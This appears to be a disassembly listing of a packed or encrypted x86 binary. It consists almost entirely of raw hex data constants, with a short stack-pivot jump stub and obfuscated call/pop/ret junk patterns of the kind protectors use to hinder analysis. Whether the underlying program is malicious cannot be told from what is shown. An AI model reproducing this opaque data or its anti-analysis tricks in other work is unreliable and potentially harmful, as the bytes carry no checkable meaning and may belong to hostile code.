		dd 0DCC6AF46h, 6DC2E5A5h, 0AF1D2F28h, 0ED6A04Ah, 3446D470h
		dd 22028090h, 0CE6C48A0h, 7B098B9Ah, 710B2FABh,	73F121ADh
		dd 15B4D893h, 0D7769EE5h, 0A74BFF1Dh, 0C4E0A0D1h, 7230305Ch
		dd 0EC8200DCh, 0E000C041h, 0E7E8430h, 60000000h, 0D72FADE4h
		dd 51A765CDh, 1A8h, 3EDC78F1h, 43D4E03Ch, 0BE4FAB39h, 305CC522h
		dd 63235EE8h, 0AD305CC5h, 0CB663BF7h, 6CD7CA5Ch, 0AA384FC5h
		dd 54E66EF8h, 3298B2Ah,	5DD8AD71h, 4E4130CAh, 0E42FC6B3h
		dd 0CA1A9888h, 0FF8F2AB8h, 0C73C397Eh, 54F580Fh, 0C9620000h
		dd 86AA06AFh, 39DF79F4h, 1202AE47h, 9EB31D90h, 60D957DEh
		dd 169FDD70h, 44E96BBAh, 0B83547E8h, 0F17CFE1Ch, 1F9F128Ch
		dd 0F1286DC2h, 0ED78E5DBh, 0ECAA6CEFh, 0DEFA36F5h, 0D6E2423Ch
		dd 24A03A44h, 0D976FEDh, 0D2328925h, 0F532CB2Bh, 0A1BC5A43h
		dd 0C743CD61h, 0B9956936h, 0C5B74571h, 0A8E89933h, 68305C5Dh
		dd 56F3FE3Ah, 8431476Eh, 1E88h,	0DC78DA00h, 0E0FE46C4h
		dd 5CC4F1B1h, 0F3812330h, 0C5682859h, 0FAA8305Ch, 0CE813Eh
		dd 0B3210000h, 0BA537A0h, 0C5800071h, 1690305Ch, 5CC51B9Bh
		dd 19AFF530h, 0C5EA30D1h, 4A26384Fh, 0B547D5A7h, 9010811Bh
		dd 80286DC6h, 71C88B22h, 5ABEB8DDh, 62103A9Eh, 6E956F2Fh
		dd 8A07A128h, 286E950Ah, 740A980Ah, 0A82A7AE2h,	39D37D40h
		dd 7DD9E73Fh, 475DA1DBh, 0AC3B36EBh, 30C4801Ah,	0E8FA4Ah
		dd 6195DE41h, 49583430h, 0DB697BCBh, 5778541h, 4C2ECC68h
		dd 0A5323DF0h, 7EE39E13h, 0D1D327D8h, 272AE858h, 7B8B424h
		dd 431h, 0E08DEF0Ch, 5BDAA0B4h,	882557F9h, 0FF76F42Ch
		dd 31BCB85Dh, 0FF127EBBh, 4D44F07Dh, 658A26CFh,	1C3E9A1Bh
		dd 0F0AAD362h, 6DC10181h, 8BF91328h, 0F3B3EE78h, 1D305CC4h
		dd 4314AB87h, 0AE000001h, 0A537A0B3h, 0C516960Bh, 0A4FE305Ch
		dd 36C05A4Ch, 5CC53B7Bh, 57F9D530h, 35CBD925h, 0C6060CFDh
		dd 980A384Fh, 0CAB4460Eh, 1163892Bh, 6AFD78CDh,	99E374D0h
		dd 23BD5751h, 6DC72E6Eh, 74BCE628h, 60C7B295h, 0A8426030h
		dd 0DA6C0E2Ch, 81E6F443h, 539FF895h, 2E48E24Eh,	871003D6h
		dd 5AC1BCF5h, 0B4F127D8h, 34F74526h, 0E1881EFCh, 24276AA9h
		dd 7AC2F549h, 0B7000003h, 0FF59D4A4h, 208C215Bh, 57C16C0Eh
		dd 8430BD3Fh, 0F26A0B71h, 0C4B04535h, 16968F29h, 621A3D9Fh
		dd 0A9CB61D3h, 4A476304h, 286DC14Ah, 4AD2B0CAh,	4938D2A0h
		dd 305CC549h, 0E8A8D9CBh, 0E0305CC4h, 0CDD72F4Dh, 0F14DE3C1h
		dd 0DC7337C5h, 0AC42409Ch, 0D4759B50h, 0EE78FA10h, 55A9D366h
		dd 5CA0D479h, 7578B046h, 30DFF4CCh, 5C7284h, 0B3500000h
		dd 0BA537A0h, 5CC51696h, 4CA4FE30h, 78AD275Ah, 0A10337B2h
		dd 84047D17h, 8C287378h, 0CCDA16h, 0E496BAEEh, 62F48A18h
		dd 0A22A54FAh, 8C16EE88h, 1CD59A4h, 0A1A088ECh,	28737806h
		dd 0FD1256E4h, 0FF17A383h, 245DEF7Dh, 28737864h, 0CD60F6ACh
		dd 53B3CD63h, 2B07Ch, 0A54A8600h, 0AD4F0BDBh, 64F622D3h
		dd 6C8ECA1Ah, 0B3EE7812h, 305CC4F3h, 26AB871Dh,	0E577E073h
		dd 0B5ABCDACh, 4DDFC537h, 20086C81h, 0ABB9158Ch, 0A3AF2873h
		dd 0F4E7D9FAh, 46078C19h, 0A3000000h, 0EE01A0B3h, 9E2CB68Eh
		dd 46EA720Ch, 0CE0DFC34h, 0C437B5ABh, 0DC7806DEh, 0E5FF47C5h
		dd 0AB607C0Dh, 0F8042873h, 0FA408051h, 0EEBE8C19h, 20000000h
		dd 4F873A95h, 62426A3Bh, 6114F73Ch, 4BEC68FEh, 1BD7ED31h
		dd 0E0A04AA9h, 85AA32B0h, 0B992BFBh, 0EAAAE771h, 2A305CC4h
		dd 507CB078h, 6B67BFBDh, 2E92B0C1h, 0E79BF57Bh,	2BC18D51h
		dd 6DDA449h, 0E4305C72h, 2F892456h, 1593730Dh, 7286067Bh
		dd 148E305Ch, 811601DCh, 512BBAF7h, 9E0B37B5h, 0BBE4FA3Fh
		dd 58D56B27h
		dd 0EB7DEA05h, 0CACAC751h, 4A287311h, 1265255Ch, 0F5AF2873h
		dd 2BFA8B67h, 8B2FC73Ah, 32C78F19h, 933BAB4Ah, 9C26FE7Eh
		dd 99CD6054h, 0FC750B89h, 3C34E050h, 9ECFE07Ch,	93000001h
		dd 0DB75F878h, 0CA84537h, 0B31D90EAh, 0E04CE163h, 16862F4Dh
		dd 0E88CA111h, 3ABAEB45h, 86F619BBh, 0CDAF4DEFh, 2E633F20h
		dd 286DBF6Eh, 4A3694A6h, 0CE58D5A7h, 0C53D7D34h, 0CDD7305Ch
		dd 0DE9BB165h, 0B2A7D0F2h, 47EE7CCAh, 37A0B3C3h, 0AAEDECA5h
		dd 0C65F37B5h, 1938922Bh, 14940D5Eh, 0FC2873B1h, 34D810A6h
		dd 0D3EF966Eh, 952873B0h, 0AC28F480h, 0A32EF674h, 0EC24E089h
		dd 7E0C966Eh, 429F3EC2h, 8C19F482h, 8EFCh, 0A04AC600h
		dd 0AF420ED6h, 399071CDh, 31305CC1h, 35CF591Bh,	5CC13C7Ch
		dd 62CED430h, 5D1F3D9Fh, 0B621CC81h, 0A05E6D24h, 0A62E37B5h
		dd 5F03EF91h, 7AF5A845h, 30265BEDh, 7C2FC7CBh, 25C89426h
		dd 0DF72DE57h, 9592149Dh, 92A23C35h, 0C43Dh, 2252F900h
		dd 6F0D2193h, 0BAC46AC6h, 0B89993Bh, 512BCE6Ah,	8FEB4CDCh
		dd 3163126Ah, 67D15CE0h, 0AB05A8D0h, 197EF781h,	0BD94148Dh
		dd 4E7C286Dh, 0D5A74A18h, 1C5EFC58h, 0A6491591h, 4AA81AD6h
		dd 420ED6A0h, 0C27CEA8h, 0ADE476E1h, 384FC732h,	0FC5EE37Ah
		dd 7E91945Fh, 0E9413BDEh, 0B479F05h, 0B21E97E1h, 9F06DE98h
		dd 73F20957h, 0C71F5DF1h, 0CF17618Bh, 7E79204Ch, 6B0BFC0Eh
		dd 66E77503h, 53F92BD2h, 0E468B925h, 0D2E9F5B5h, 63B31FDCh
		dd 30BD53E1h, 38047684h, 0E0EF17AEh, 9D747726h,	0A63C0084h
		dd 0A4FCD810h, 0A7A9DE26h, 4A28C206h, 0D37F5757h, 55EBB9DCh
		dd 9CDE7CD8h, 36F40h, 54B70000h, 0D7A14AF6h, 0CFA9430Fh
		dd 0C4B45B77h, 0C7455C78h, 0BEBE537Fh, 0B5C76A66h, 0B7356D69h
		dd 0B3CD636Fh, 0A9D36753h, 0F5685E55h, 89000022h, 69682434h
		dd 8900000Ah, 89522414h, 4C281E2h, 83000000h, 148704EAh
		dd 34895C24h, 0FEFE6824h, 148B07EEh, 4C48124h, 83000000h
		dd 248904ECh, 24048124h, 4, 37C3685Eh, 14890000h, 8468F24h
		dd 5E2434FFh, 8B04C483h
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		db 2Dh
		dd 624516BDh, 0EF089CB8h, 0FFC50307h, 70D6EBE0h, 0E0E7FD5Eh
		dd 56FDED4Bh, 50987809h, 6FB61730h, 789D8322h, 0F503E107h
		dd 0F53E0239h, 47C63931h, 6AC08B02h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0DABCC350h
		dd 5F9C3FB2h, 0E997F28Ah, 9, 0CFDA9389h, 442B9A2Ch, 0A5BD8399h
		dd 7E918h, 0BD830975h, 7E91A45h, 50197400h, 0B8C08B53h
		dd 3FCh, 11F98589h, 9D8D07E9h, 7EBD7CEh, 585BD3FFh, 1A45BD83h
		dd 740007E9h, 0B8535017h, 3FCh,	11F98589h, 9D8D07E9h, 7EBD4BDh
		dd 585BD3FFh, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Ch,	8C35646h, 8D8F30A1h, 810C515Dh,	60DFB70Fh, 0D2EE8166h
		dd 61DD8A90h, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 0D58AACC3h, 1B69BD83h, 0F0107E9h
		dd 0A084h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 60A15833h, 0D971B430h, 3FB65305h
		dd 1615BD83h, 0F0007E9h, 6C85h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 0FB60ECBh
		dd 688h, 0FCF38100h, 834981D4h,	0E92EB5BDh, 840F0007h
		dd 64h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah
		dd 0A4C35242h, 0FE5D886Dh, 810F79D3h, 6, 0A9B5F381h, 66504D88h
		dd 85F8F381h, 393E95Ah,	0B3B60000h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0D4C35141h
		dd 939BB7Bh, 0D78B4221h, 0BD671DF2h, 3D2CAF50h,	3FCF2508h
		dd 0D04D4498h, 4C695A76h, 1457804h, 0B2B74127h,	0B620A8FEh
		dd 0B6494028h, 0E96AA8BFh, 0CAC3F71Ch, 0F2CBACCBh, 0B657ACD3h
		dd 0E10DA8FBh, 0CECD423Eh, 407BDB2Fh, 3D8F7BF5h, 79A02960h
		dd 0E370D90Bh, 0B64AA807h, 5BCBF5F7h, 0B1A5A3C8h, 5E18A897h
		dd 0B64AA8FDh, 0EC89F25Fh, 0B26EFC36h, 0B26EEC5Eh, 0B64AA8FBh
		dd 789FAB5h, 41C1CE9Bh,	6488299Bh, 0D2CC9BCh, 0D2C2B16h
		dd 76C1D0BBh, 5D9F1389h, 26118412h, 8170764Dh, 0B91BF8F1h
		dd 0B64AAD7Ch, 34A613FEh, 2611C86Bh, 5E18A8D5h,	0B64AA8DCh
		dd 0EC89F2CFh, 0B26EFC7Eh, 0B26EEC7Ah, 0B64AA8E7h, 0AD89FABCh
		dd 930AA979h, 16F81FAFh, 9206A9D0h, 0E74AC211h,	0B64AAB1Fh
		dd 751388FBh, 920621A4h, 920E29FAh, 0B64AB27Bh,	751BE9BFh
		dd 772F7091h, 0EEA5D670h, 0BA4F9C40h, 0DC4AA8F9h, 0B5A2F9FDh
		dd 964AA8FEh, 3F136B26h, 374E8CF3h, 0A34E8C9Bh,	0F74AA8EFh
		dd 3D4F6BA6h, 0B6492FF4h, 65CAA8FDh, 0DC42235Ah, 0B5A2FA7Fh
		dd 964AA8BFh, 3F106B85h, 374E8CBBh, 0A34E8CB3h,	0F44AA8FBh
		dd 45FD6BAFh, 0B64AA217h, 258CBF7Fh, 9933396h, 0D0A72454h
		dd 5FB6E064h, 0B64AA8FCh, 54AD99E9h, 2CA65545h,	0E6C4595h
		dd 0B64AA87Eh, 5E18A8D5h, 0B64AA8DCh, 0EC89F2CFh, 0B26EFC7Eh
		dd 0B26EEC7Ah, 0B64AA8E9h, 0B889FABCh, 0B64AAD96h, 0FB00A9BFh
		dd 145468Dh, 4AC0F834h,	0DC6EA47Eh, 0B5A2F9FBh,	964AA8FDh
		dd 3F136BA7h, 374E8C33h, 0AD4E8CFBh, 0F74AA8DFh, 0B8496BBEh
		dd 65D1D369h, 0A2A31B3Fh, 4AA8FDh, 5196A6EFh, 0C9B69A58h
		dd 59AF77A0h, 0F10ED10Ah, 0D0643BB2h, 55CB717Bh, 0AA1A3CD7h
		dd 0B94E690Bh, 0B64A457Bh, 0E64AC27Fh, 0B64AAB57h, 751288DFh
		dd 920E21B7h, 920E29F3h, 0B64ABDFFh, 751AE8FDh,	0B3A27032h
		dd 2A4AA87Fh, 30FBF861h, 0B6C9A78Eh, 0EC4AA8EFh, 64CAF1ADh
		dd 0DE73282Ah, 0B7572DF2h, 0B620A8FEh, 0B649402Dh, 0EC6AA8BFh
		dd 0E2C3F21Ch, 0F2CBACCBh, 0B653ACD3h, 0E408A8FBh, 1DC9A93Eh
		dd 3D006F63h, 0B620A906h, 0B64940EAh, 0EB6AA8DFh, 0DAC3F52Ch
		dd 0F2CBACD3h, 0B65EACDFh, 0E30FA8FDh, 3445993Dh, 0B64AA87Dh
		dd 49CB7D35h, 364AA8DFh, 0B6832AE0h, 0B620A8F7h, 0B64940AEh
		dd 0EB6AA8FDh, 0DAC3F53Dh, 0F2CBAC5Bh, 0B65DAC9Bh, 0E30FA8DFh
		dd 72D6FE2Ch, 0BEC0A79Dh, 0B94AA8FBh, 0B64AAA70h, 719923FEh
		dd 594012FAh, 0B64AA9B8h, 6C9028DFh, 0B64A1006h, 5FBF54F7h
		dd 0B64AA878h, 0B64240ABh, 48E9A8FEh, 0EDECA6h,	36452D76h
		dd 0B64AA8DFh, 5F13F2B4h, 0B64AA8E7h, 0E06FFEFFh, 961E7ED9h
		dd 0CD89EAFCh, 0A62D4E71h, 0BD332BD9h, 0FACEA720h, 0DC4AA8EFh
		dd 0B5A2FEF7h, 964AA8FBh, 3F146BA3h, 374E8C8Ah,	0A24E8C3Bh
		dd 0F04AA8BFh, 0B9106B89h, 0B64AAD6Dh, 5CCBCEF7h, 61CAC5D8h
		dd 0CCF6F01h, 0B74D47F4h, 364AA87Fh, 0A6A3E079h, 0AE4AA8DFh
		dd 65823A91h, 4D29D574h, 0DAE39367h, 0FE8A6829h, 5E1DA894h
		dd 0B64AA87Ch, 0E989F79Fh, 0B26ED456h, 0B26EEC6Eh, 0B64AA8E0h
		dd 9189FFBCh, 0CB76123h, 87DD7DC1h, 0B6492170h,	145A8BFh
		dd 8038110Eh, 33C7A1D2h, 0B1A5B8BBh, 0B82D1576h, 4E71AF12h
		dd 0B97AAF8Ah, 5D0D61AEh, 5F6C1B4Ah, 0B64AA8CEh, 908E7058h
		dd 8B1CA447h, 9AB8D9C4h, 0C6B518B2h, 0E34AC2DAh, 0B64AAB97h
		dd 751788BFh, 92262182h, 920E29EBh, 0B64ABEF3h,	751FEDFBh
		dd 5F8BCB5Eh, 0B64AA8F0h, 8BD86DC3h, 56B12F3Ch,	0DEDB2E82h
		dd 0BC9456Ah, 0B1A3B39Eh, 0CECEA7FAh, 0DC4AA8FDh, 0B5A2FBFEh
		dd 964AA87Fh, 3F116BE4h, 374E8C83h, 0AB4E8CABh,	0F54AA8F7h
		dd 2CDF6BA8h, 0BE6A72E7h, 0E8446B19h, 0B64ABA96h, 191E9BBFh
		dd 2F5B13EAh, 0C2583363h, 0D9CE1004h, 35118DB6h, 5F5CBD40h
		dd 3345A8F9h, 0B64AA850h, 5E1BA8D5h, 0B64AA8DCh, 0EF89F1CFh
		dd 0B26EE47Eh, 0B26EEC7Ah, 0B64AA8EAh, 6489F9BFh, 35FCE519h
		dd 5F641D02h, 3245A8D8h, 0B64AA8C7h, 5F226B77h,	0B64AA838h
		dd 5E1BA897h, 0B64AA8FDh, 0EF89F15Fh, 0B26EE436h, 0B26EEC5Eh
		dd 0B64AA8F7h, 1189F9B6h, 0B0797F69h, 0AD23157Eh, 0B94BAF17h
		dd 0B64ACEFAh, 0B9621BBFh, 0DC177360h, 0B5A2FEEFh, 964AA8F7h
		dd 3F146BA5h, 374E8C89h, 0AE4E8CBAh, 0F04AA87Fh, 97886BE9h
		dd 36049CC7h, 0DC890A1Ch, 0B5A2F9F7h, 964AA8FBh, 3F136BA4h
		dd 374E8CB2h, 0A14E8C3Bh, 0F74AA8BFh, 0B7F16B8Eh, 37459C4Ch
		dd 0B64AA8F3h, 5A90139Dh, 0B64A9614h, 0BEC7A7FEh, 0B94AA87Fh
		dd 0B64AAA3Ah, 0EB841BDFh, 5E18A885h, 0B64AA8F4h, 0EC89F2DBh
		dd 0B26EFC74h, 0B26EEC7Fh, 0B64AA864h, 0F89FAFDh, 285A7ED7h
		dd 0B9C592AAh, 0B64AAC7Ah, 16F0CEFBh, 3BB36725h, 59404A43h
		dd 0AFC72578h, 0E4D47AFh, 0CD70F4C2h, 0B9732DDCh, 7961AF1Eh
		dd 0D2803811h, 0BB33C7A1h, 76B1A5B8h, 12B82D15h, 8A4E71AFh
		dd 0AEB97AAFh, 835D0D61h, 0A4F305E9h, 0ABABD83h, 740007EFh
		dd 5A8D8D0Dh, 0B807E94Dh, 1, 0F40E1FFh,	0BB66D6B7h, 6AD0F4h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 205336C3h, 0A2994F8Bh, 0D2816650h, 835B6576h, 0BA662DE8h
		dd 0C08BFFBFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	53C35242h, 785864B8h, 8B662C58h, 0A5BD83D3h, 7E918h
		dd 0BD830975h, 7E91A45h, 50197400h, 0B8C08B53h,	3FCh, 20F58589h
		dd 9D8D07E9h, 7EBD835h,	585BD3FFh, 1A45BD83h, 740007E9h
		dd 0B8535017h, 3FCh, 20F58589h,	9D8D07E9h, 7EBD4D6h, 585BD3FFh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0F6C35747h
		dd 98DCB955h, 0D08A281Bh, 8D8DC08Bh, 7EF123Bh, 11E9h, 52DD3D00h
		dd 8A0F85Eh, 8A979267h,	2826ACBAh, 0B8660A69h, 8D89B23Bh
		dd 7E9320Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	0F9C35646h, 6830Fh, 95330000h, 7E90E3Dh, 21519589h
		dd 85C707E9h, 7E922E5h,	6BACh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 73C35646h, 0E1F08075h, 89CF2EF1h
		dd 0E907F1B5h, 14E907h,	0D1620000h, 0B1CBCBD5h,	0CB86D70Fh
		dd 2C9C3E22h, 93DA7FD1h, 896005FDh, 0E92189BDh,	0B1858907h
		dd 6107E92Ch, 22B185C7h, 7E9h, 6A0000h,	3E851h,	59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 7BDBBBC3h
		dd 45B5FF26h, 0F07E920h, 68Dh, 0C9BD8900h, 0FF07E921h
		dd 0E9228595h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 3BE387BBh, 5E9h, 90D78900h
		dd 6A3D18h, 0C3195FFh, 0C08B07E9h, 0C1167DEBh, 0E51D28AAh
		dd 2FF8A325h, 7830F498h, 0D00504C0h, 0D398761h,	0DAF7AF26h
		dd 0F595621Bh, 3A79F363h, 0B8D2514Bh, 4ABDF9CDh, 0F8570F31h
		dd 23AEFCF3h, 0FF788505h, 0C1814748h, 2019DF63h, 91A5D951h
		dd 89813F8Dh, 0BD17D2F6h, 0AE039548h, 34B445D8h, 8ED4024Ah
		dd 815C9ADFh, 69950E08h, 8249BC1Dh, 0E1C8505Fh,	3FB1DB59h
		dd 0E7BBF3C5h, 7A36679Ch, 0BF7A1469h, 8E62EA22h, 0E8B44C9Dh
		dd 0Dh,	5A2A1807h, 5E9D0021h, 7B10B9D1h, 319D8B05h, 5807E926h
		dd 68F0Fh, 85890000h, 7E91261h,	68E9C081h, 8E0F0000h, 16h
		dd 11E9h, 1D31A800h, 2DBE5474h,	168B59B1h, 0F311B58Bh
		dd 0D22BF0C7h, 0FFF8B70Fh, 0CE90234h, 0F5000000h, 628587FDh
		dd 6C35964Fh, 5EBDE8C0h, 0BBEE81F5h, 8137AA87h,	2ECDA7C9h
		dd 2DF68179h, 8171EFA7h, 6B8C2CF6h, 5BB9664Eh, 0B5895632h
		dd 7E90729h, 6610048Fh,	0B359F781h, 0C3D8D89h, 0EA8307E9h
		dd 0DBD8901h, 4A07E903h, 81F84A4Ah, 0FF97C0FAh,	0A0850FFFh
		dd 89FFFFFFh, 0E907858Dh, 9DE907h, 21860000h, 945ACDh
		dd 50000h, 10000h, 0A280000h, 20000h, 65530000h, 63697672h
		dd 61502065h, 32206B63h, 1Dh dup(0)
		dd 0E9000000h, 0BF0h, 0EF159168h, 67A4E907h, 0A168FFFAh
		dd 0E907EF16h, 0FFFA679Ah, 0EF17B068h, 6790E907h, 2568FFFAh
		dd 0E907EF18h, 0FFFA6786h, 0EF19A668h, 677CE907h, 0F568FFFAh
		dd 0E907EF19h, 0FFFA6772h, 0EF1DA068h, 6768E907h, 8968FFFAh
		dd 0E907EF1Eh, 0FFFA675Eh, 0C06D0F2Ch, 3BBAC054h, 68057799h
		dd 0DF56D4CCh, 119CD87Dh, 1F329E9Bh, 2D64D05Dh,	85AA06AFh
		dd 3CDE7AFBh, 0D0CAB342h, 6DB0E1A1h, 0AB193328h, 0DFD2A04Ah
		dd 305CC4DFh, 1DD7331h,	58D5A7B5h, 0EB7DEA05h, 0B5ABD7B6h
		dd 19E5BF37h, 73AC4C68h, 6D0C3028h, 19F554ACh, 0D97DD98Ch
		dd 6AEA3BA3h, 34538Eh, 8B530000h, 0BFC5199Bh, 0A0B35173h
		dd 0EDECA537h, 0A537B5AAh, 0C05626C9h, 0AA29857Ch, 33DF2873h
		dd 0DFD26C8Ah, 2873A9DFh, 4877331h, 8C19FABCh, 0D23Ah
		dd 0A04A8800h, 0D4700ED6h, 0F3AE3842h, 305CC4B3h, 0CFEB475Dh
		dd 0F4F2522Ah, 7CB4C668h, 7CC0B258h, 35B8BA50h,	5CBFF54Eh
		dd 195BF130h, 0FCBCF58Fh, 14305CC0h, 0FD5FA28Eh, 0CC11D5Fh
		dd 0ADE476E1h, 37B5AF1Ah, 0E19BBC18h, 59F6871Dh, 0ED046E71h
		dd 0BAED8016h, 80FA1EBFh, 1B2958F2h, 712FC6EEh,	0B884F005h
		dd 5A02942Ah, 0BE28C5B7h, 2A34E427h, 86F63777h,	32CBD920h
		dd 7C0E2804h, 87038505h, 0DD158F20h, 892054F9h,	3C34D17Bh
		dd 0D394CB1Bh, 0DB000009h, 3AD4030h, 0B4E08DEFh, 0FB55D8A2h
		dd 288429ABh, 6EFE7705h, 3044E9C9h, 820213BDh, 0CEAE41F3h
		dd 1567F527h, 0F6ABF798h, 286DAFB6h, 4A7E2C5Eh,	0FC58D5A7h
		dd 0C28A1C5Eh, 0F78D51D3h, 0B30CB63Bh, 619A33A0h, 571BB648h
		dd 1E3A7A2Fh, 0C8DA305Ch, 9B16A03Ah, 305C1E1Bh,	6543AFF5h
		dd 0B504AD2Ch, 67BFE537h, 0BD0FCC59h, 490D3908h, 0DDC4E0E1h
		dd 94B82872h, 0C6DC24F5h, 0EA1A8C1Ah, 0A8000000h, 0F3B3EE78h
		dd 1D305CC4h, 4933C787h, 552735E1h, 7A28CD89h, 445EA6D0h
		dd 95B824B6h, 0AD851FE7h, 0BFB79071h, 99B3305Ch, 3AE655D8h
		dd 9B162A00h, 305CC51Bh, 8B19AFF5h, 0D2AC4EEAh,	2CBCBF72h
		dd 3C5773C6h, 0E476D68Dh, 0AA384A9Ah, 564E6110h, 841E37B5h
		dd 73568D0Dh, 0D51D8728h, 6CFA7B29h, 0D62E4CE0h, 0AE4964CCh
		dd 9BF2AF39h, 0E12FC780h, 815A5A57h, 0E8BA2087h, 0B4465C00h
		dd 0FE770528h, 34BDBF52h, 3C3457DEh, 0C37166FEh, 0EB000008h
		dd 13BD3040h, 44F07DFFh, 8B25C8B2h, 3894199Bh, 5ECE6715h
		dd 2054F9D9h, 72F2238Dh, 0BEBE51C3h, 5778537h, 0E69B0768h
		dd 286DAEA6h, 4A6E5C6Eh, 9B43D5A7h, 0AF35098Bh,	651BB01Eh
		dd 19D19FC3h, 0AD420A94h, 0B97173D3h, 0F07DFF1Dh, 6FCDDF76h
		dd 0D90339D0h, 549CD87Dh, 0D6A04A76h, 0CEA8420Eh, 0FA1FC727h
		dd 78FBB682h, 1BC35DEFh, 0DDAC84F4h, 384FB089h,	0D66FF9ABh
		dd 3DF6D061h, 0C3250DBCh, 65879C29h, 0AAFD6890h, 0B6C06A4Eh
		dd 6ED8483Fh, 0D469286Dh, 1BA9CB61h, 50400C9Ah,	0C7C766D2h
		dd 25B72033h, 0C64A796Ch, 0D16B392Fh, 395E775h,	844A0E8Eh
		dd 549C0620h, 51F69120h, 628D93BDh, 3CC963F5h, 8456C9C1h
		dd 0AB5A96F5h, 9414ACE0h, 0CBB55A36h, 0BDB697Bh, 393BD17Dh
		dd 5E13DFE5h, 0FFB244D3h, 8C270C86h, 64E07A28h,	0B1F1A0D6h
		dd 637CE60Ch, 0BAFAB741h, 5A7CE60Ch, 993BBA48h,	84680173h
		dd 88097ABh, 7B48334h, 51FA0000h, 0E228E27h, 0C157C16Ch
		dd 8A9A36BFh, 26CB6508h, 0E841DF56h, 9E176588h,	0CC61E332h
		dd 0ADCF60h, 79F48694h,	97178A14h, 79286DADh, 0A0B31D43h
		dd 720BA537h, 2343884Eh, 4C52D8Ah, 384F5D30h, 713160FAh
		dd 0A3286D5Eh, 5F452901h, 8FED01CDh, 6E2E63FDh,	6E286D5Eh
		dd 576DB1CBh, 8D653Fh, 2AFA8094h, 47F28CAEh, 340E74AFh
		dd 3F883F37h, 6F000007h, 9701ACCCh, 0D874F983h,	0FA94436h
		dd 0BC189517h, 0DA52E399h, 9CD87D5Dh, 0EE6EA711h, 3A42D547h
		dd 81F319BBh, 621F8BECh, 286DAD22h, 0B3EAD8F2h,	0ECA537A0h
		dd 384FB058h, 9430CAD8h, 2679F486h, 75009A11h, 29C4E3F1h
		dd 285D3E0Ah, 0CC5928BDh, 0D01E5CE9h, 4C8B42FFh, 0DD6802E4h
		dd 8986EF93h, 0B051991Fh, 286CE9E4h, 0CAAC402Ch, 6CE9D7D7h
		dd 0D56B3928h, 0E9C2071h, 201DA836h, 0CE50F51Ch, 0DCF79662h
		dd 8E286D1Ch, 0C7455CF8h, 618D657Fh, 0DA73EB8h,	57890019h
		dd 0A262A189h, 978C2000h, 8D512BCFh, 5BE63BF7h,	0FC000000h
		dd 9B2DBAB3h, 7A3A7701h, 52305CC5h, 0E7D3C3BDh,	0CDD72F51h
		dd 8E12F33Fh, 86305CC4h, 1EC6C01Ch, 0D8A981FBh,	305CC3FCh
		dd 0C32359FCh, 0C71F61F7h, 4817618Bh, 0ED55A544h, 0A91BB861h
		dd 0C58430DDh, 16h, 1C9519Dh, 9D50000h,	374D91E3h, 0C4ACECA5h
		dd 3E64305Ch, 0B93FD0F2h, 0AAA3A35h, 521C1F9Ch,	4CE67006h
		dd 5C195555h, 61E5BF30h, 6345ADCFh, 0B4F3BB2Eh,	6DA9FB37h
		dd 9441AD4h, 27B4A7D8h,	2E29ABFh, 42911180h, 218378C8h
		dd 0E76FF993h, 0D3D12DAFh, 371B6667h, 0A9FB8021h, 34958055h
		dd 0FA875FDDh, 82A201BDh, 6C02900Fh, 4AAEA7DAh,	94007833h
		dd 57D5CD81h, 0D1677DC1h, 37D9F47h, 4A34C672h, 8B6909AFh
		dd 269955F4h, 5BEh, 802D4FECh, 0FB7A0014h, 28C5B759h, 9F16948Ch
		dd 0D15C183Dh, 5FF2DE5Bh, 0ED24901Dh, 0C56AC66Fh, 7C9E3ABBh
		dd 900A7302h, 6DABA1E1h, 6B597328h, 0ED6A04Ah, 9D2FB8BBh
		dd 0B59D35E4h, 0EA7FD37h, 43EE88A2h, 340834B7h,	6F98CF07h
		dd 0BF000005h, 0E751DC9Ch, 28842953h, 5FF97406h, 8C28C547h
		dd 0A621369h, 0CCA84D2Dh, 1E9EF721h, 6A122597h,	0B1C369CBh
		dd 524F5B3Ch, 286DAC52h, 4ADA88C2h, 9844D6A0h, 0F32F0B89h
		dd 0B7C569F5h, 0C3BD5F7Bh, 0C564A863h, 0E68FE903h, 30DC635Dh
		dd 0EE0CC884h, 4E09A48Ch, 59000000h, 0F3B3EE78h, 1D305CC4h
		dd 7BF6AB87h, 0F448CADAh, 34CE58EEh, 0ADDC7899h, 534642F4h
		dd 305CA953h, 9D0BE7BDh, 0B59F6DE4h, 875F4537h,	0C1BB5DF9h
		dd 0FA8B677Dh, 28739FDEh, 0B2580482h, 8A667CC0h, 0AA1AC766h
		dd 0C48C1A05h, 4Bh, 1A0B39Eh, 2FB589EBh, 0C4A4E49Dh, 366C305Ch
		dd 619B16A0h, 4F37B278h, 0F71BC355h, 3E99E885h,	3C287378h
		dd 0B2C06A1Eh, 7377BFFFh, 0BD535128h, 8E18862Fh, 73779313h
		dd 0CB277D28h, 0F0074BEFh, 982EB488h, 4801344h,	0B3B30000h
		dd 0ECA537A0h, 37B5A8F9h, 0F2B2EFB9h, 222873A7h, 0A612F280h
		dd 0BF1AEA94h, 2EC9F495h, 7F722FB9h, 372FCC8Ch,	0C654C06Dh
		dd 9A9568B4h, 0C2D37B0Dh, 40D6E242h, 4EDCE63Eh,	0E26A04E2h
